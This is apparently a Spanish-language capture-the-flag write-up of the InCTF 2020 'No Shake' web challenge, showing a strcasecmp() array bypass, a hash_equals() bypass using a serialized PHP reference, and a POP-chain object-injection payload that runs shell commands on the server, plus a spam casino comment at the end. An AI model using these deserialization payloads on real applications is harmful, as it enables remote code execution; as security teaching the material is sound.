Breaking PHP through object deserialization

Por Luis Noriega (@nogagmx)

En el presente write-up se explicará la solución del reto No Shake de la categoría WEB resuelto durante el InCTF 2020.

Solución

Al ingresar a la URL proporcionada en el reto, solamente se observa un textbox y un botón para poder enviar datos al servidor tal como se muestra a continuación:

Fig.1. URL del reto No Shake

Interceptando la petición con Burp Suite se observa que en el request se están enviando los parámetros Name, Cmd y Form_Submit. Una vez enviados, la aplicación responde con códigos de StartTLS[1] , el SHA-1 del valor enviado en el parámetro Name y un comentario que nos indica que vayamos al archivo final.php.

Fig.2. Request/Response al enviar datos a server.php

Al hacer el request a final.php, podemos observar que el servidor solicita el parámetro key para poder mostrar alguna respuesta.

Fig.3. Request/Response al enviar datos a final.php

Después del algún tiempo tratando de hacer brute-force a key, probando con strings random (con diferente e igual longitud que "STARTTLS"), su valor se pudo obtener modificando el parámetro Cmd que se le envía a server.php tal como se observa en la Fig.4. De acuerdo al flujo de comunicación en StartTLS, para entablar una comunicación cifrada con el servidor es necesario que primero se envíe el comando STARTTLS, sin embargo al enviar el GO AHEAD el servidor entiende que esta listo para enviar los datos no importando si la comunicación esta cifrada o no, es por ello que en la respuesta obtenemos en valor de key en texto plano. [2]

Fig.4. Obtención del key modificando el parámetro Cmd enviado a server.php

Una vez encontrado el valor del parámetro key, se hace el request a final.php y en el response se muestra un fragmento de código PHP, en el cual se interpreta que para poder imprimir el contenido de $flag1 es necesario que la comparación a nivel binario realizada por la función strcasecmp()[3] entre $flag1 y lo que ingresemos en $_GET['abc'] sea verdadera, es decir, debemos ingresar en $_GET['abc'] el mismo valor que tiene $flag1, lo cual sería casi imposible...entonces, la solución es, SI!!!!... un bypass a la función strcasecmp().
 
Fig.5. Repuesta del servidor después de enviar el parámetro key correcto.

Así, un bypass para la función strcasecmp() consiste en enviar un array vacío[4] en el parámetro $_GET['abc'] tal como se muestra en la Fig. 6. Después de enviar el bypass, vemos que la respuesta contiene un nuevo fragmento de código en el que para poder visualizar el contenido de $flag2 es necesario que la comparación realizada por la función hash_equals()[5] sea verdadera, es decir, de alguna manera tendríamos que inyectar por medio del parámetro $_GET['def'] el valor exacto de obj->flag o bien, aprovechar alguna vulnerabilidad en hash_equals()...ambas opciones parecen no ser viables, pero la función unserialize() viene al rescate.

Fig.6. Bypass a la función strcasecmp()

Unserialize() al rescate

La función unserialize()[6] es utilizada para convertir un string serializado del tipo: O:6:"Object":2:{s:5:"item1";s4:"val1";s:5:"item2";s:4:"val2";} a un objeto de PHP. Cuando la entrada a esta función no es sanitizada de forma adecuada se pueden originar ataques de deserialización[7] .

Ahora, ¿qué es lo que se tiene que inyectar en $_GET['def'] para poder ver el contenido $flag2?, la respuesta se encuentra al analizar el fragmento de código siguiente.
  • En la línea #4 generamos una instancia de la clase genérica stdClass, esto lo hacemos porque en el código original mostrado en la respuesta de la Fig.6 no se observa referencia a alguna clase en específico y stdClass nos permite generar un nuevo objeto y asignarle propiedades y métodos a nuestro antojo.
  • En la línea #7 se asigna el contenido de $flag2 a la propiedad flag de nuestra instancia stdClass.  
  • La línea #10 es la clave del bypass ya que se asigna a la propiedad xyz de nuestro objeto stdClass la REFERENCIA a lo que tenga la propiedad flag de la misma instancia, es decir, el valor de $flag2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 <?php
 $flag2 = "some_text";
 // Generamos una instancia de la clase stdClass 
 $o = new stdClass;
 
 // Se asigna $flag2 a la propiedad $flag de el objeto $o
 $o->flag = $flag2;

 // Asigna a xyz la referencia de flag
 $o->xyz = &$o->flag;

 // Serialización del objeto
 $obj = serialize($o);

 // Dump del objeto serializado 
 var_dump($obj);

 if (hash_equals ($o->xyz, $o->flag))
     echo $flag2;
 else
     echo 'Aye real vibe killere!';

  /*
  Output: 
  O:8:"stdClass":2:{s:4:"flag";s:9:"some_text";s:3:"xyz";R:2;}   

  some_text

  */
 ?>

Así, sustituyendo el valor de flag por NULL, nuestro payload quedaría de la siguiente manera:

O:8:"stdClass":2:{s:4:"flag";N;s:3:"xyz";R:2;} 

Al enviar el payload anterior, la aplicación devuelve el contenido de $flag2. En el nuevo fragmento de código se puede observar la definición de las clases Dogs y Cats y lo que llama la atención es la función close(), la cual ejecutará el comando contenido en la propiedad cmd

Fig.7. Bypass de la condición "if(hash_equals($obj->xyz, $obj->flag))" utilizando ataques de deserialización"

Pop Chains Attack & Magic Methods

Para lograr la ejecución de código es necesario realizar un POP Chains Attack, cuyo nombre deriva del hecho de que el atacante puede controlar el objeto que pasa a través de la función unserialize() en conjunto con algunos métodos especiales como __wakeup() y __destruct().[8][9]

Como se puede observar en la Fig. 7, tenemos la función __wakeup() que en su definición manda a llamar a la función end() y y ésta a su vez manda a llamar a la función close() que es la que tiene implementada la ejecución de un comando de sistema (línea #36). La buena noticia, es que el método __wakeup() se va a ejecutar cuando la función unserialize() sea llamada por alguna instancia, es aquí donde se detonará el ataque. Al comprender un poco el flujo de la ejecución, nuestro primer intento fue enviar el payload: O:4:"Dogs":1:{s:3:"obj";s:2:"ls";}, tal como se muestra en la siguiente imagen.

Fig.8.  Error al inyectar un objeto erróneo.

Sin embargo, el error anterior nos dice que no se pudo mandar a llamar el método close() debido a que es un método de la clase Cats y lo que estamos inyectando por medio de la variable $data que pertenece a la clase Dogs (ver Fig.7 línea #39). Esto último se puede inferir por la presencia del método __contruct().

Entonces, la idea consiste en que nuestro payload contenga un objeto de la clase Cats y pueda acceder sin problema al método close(). Siguiendo esta temática, en el código siguiente podemos ver que en el método __construct() de la clase Dogs se esta inicializando un objeto de la clase Cats. Asi mismo, dentro de la clase Cats hemos definido la propiedad $cmd, la cual contrendrá el comando que ejecutaremos en el servidor. Finalmente, en la línea #17 generamos una instancia de la clase Dogs, que como ya lo explicamos, tendrá su instancia de Cats.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php
 class Cats
 {
    public $cmd = "ls";
 }

 class Dogs
 {
    public $obj;
  
    function __construct()
    {
       $this->obj = new Cats;
    }
 }

 var_dump(serialize(new Dogs));
 /*
 Output:
 "O:4:"Dogs":1:{s:3:"obj";O:4:"Cats":1:{s:3:"cmd";s:2:"ls";}}"
 */
 ?>

Así, al enviar el payload: O:4:"Dogs":1:{s:3:"obj";O:4:"Cats":1:{s:3:"cmd";s:2:"ls";}} obtenemos el listado de directorios tal como se muestra a continuación.

Fig.9. Listado de archivos mediante la inyección de un objecto en PHP

Finalmente, al hacer un cat al archivo final.php encontramos la FLAG:

Fig.10. FLAG

Flag: inctf{Rc3_n_d0wngr4d35_d0n7_g0_W3Ll:}

Gracias a @On1r1k0 y @Niggurath por su contribución a la solución de este reto.

Go Mayas!
  
 

Referencias:

  • https://insomniasec.com/cdn-assets/Practical_PHP_Object_Injection.pdf 
  • https://medium.com/@vickieli/diving-into-unserialize-pop-chains-35bc1141b69a 
  • https://www.exit.wtf/vrd/2019/04/04/Insecure_Deserialization.html 

Comentarios

  1. Slots Casino (VGM) - Dr.md
    Looking for 오산 출장안마 the perfect Vegas casino experience? 여주 출장안마 Dr.md has everything you need to start planning your 충청남도 출장마사지 next vacation. Whether you're planning 영주 출장마사지 your next 공주 출장샵

    ResponderBorrar

Publicar un comentario